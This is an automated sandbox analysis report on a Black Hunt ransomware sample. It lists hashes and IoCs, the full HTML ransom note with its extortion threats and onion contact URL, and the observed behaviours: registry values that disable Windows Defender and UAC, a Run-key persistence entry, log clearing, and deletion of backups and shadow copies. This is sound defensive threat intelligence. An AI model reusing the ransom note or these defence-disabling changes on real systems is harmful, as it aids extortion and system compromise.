5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd

Analysis

max time kernel
124s
max time network
124s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
18/01/2024, 23:29

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General

Target

5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
Size

707KB
MD5

34a96504efc0d0cd6cee78d289f1be3d
SHA1

830dba13e8949060e3c086ce374750f43a70ab46
SHA256

5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd
SHA512

31faae37fc34e4f1e8871ca8462a298b13f41c4fee05463daf34900856be3626a6f1f4d7ffb02d52035f267c748a18f2a40efb3c0d810ab2e23297c2a89e906f
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1k8Ivnh:6uaTmkZJ+naie5OTamgEoKxLWf2h

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> hEY28LB6pDkRt1jY </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
2600	fsutil.exe
2112	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
1496	wevtutil.exe
2748	wevtutil.exe
2284	wevtutil.exe
2128	wevtutil.exe
1808	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
3056	bcdedit.exe
2548	bcdedit.exe
1472	bcdedit.exe
2312	bcdedit.exe

Renames multiple (2879) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2380	wbadmin.exe
1964	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
2388	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\Q:	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened (read-only)	\??\P:	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened (read-only)	\??\G:	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened (read-only)	\??\V:	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\J:	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened (read-only)	\??\K:	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\S:	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened (read-only)	\??\R:	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened (read-only)	\??\I:	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened (read-only)	\??\O:	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened (read-only)	\??\W:	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened (read-only)	\??\E:	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened (read-only)	\??\L:	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened (read-only)	\??\B:	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened (read-only)	\??\M:	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\N:	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened (read-only)	\??\T:	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened (read-only)	\??\Y:	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened (read-only)	\??\U:	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened (read-only)	\??\X:	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened (read-only)	\??\A:	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened (read-only)	\??\H:	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened (read-only)	\??\Z:	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\#BlackHunt_Private.key	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\ParentMenuButtonIcon.png	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-modules-templates.xml	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-jmx.xml	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened for modification	C:\Program Files\Java\jre7\lib\jfxrt.jar	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Europe\Kaliningrad	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ff\LC_MESSAGES\#BlackHunt_Private.key	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File created	C:\Program Files\VideoLAN\VLC\locale\pt_PT\#BlackHunt_Private.key	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\#BlackHunt_Private.key	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\lib\deployed\#BlackHunt_ReadMe.hta	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\VDKHome\VDK10.CMP	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\drvDX8.x3d	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\e4_default_winxp_blu.css	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-openide-compat.xml	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-autoupdate-cli_zh_CN.jar	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File created	C:\Program Files\VideoLAN\VLC\locale\pl\#BlackHunt_ReadMe.txt	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyLocale_fr.jar	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Simferopol	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyclient.jar	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Tahiti	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-oql_zh_CN.jar	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
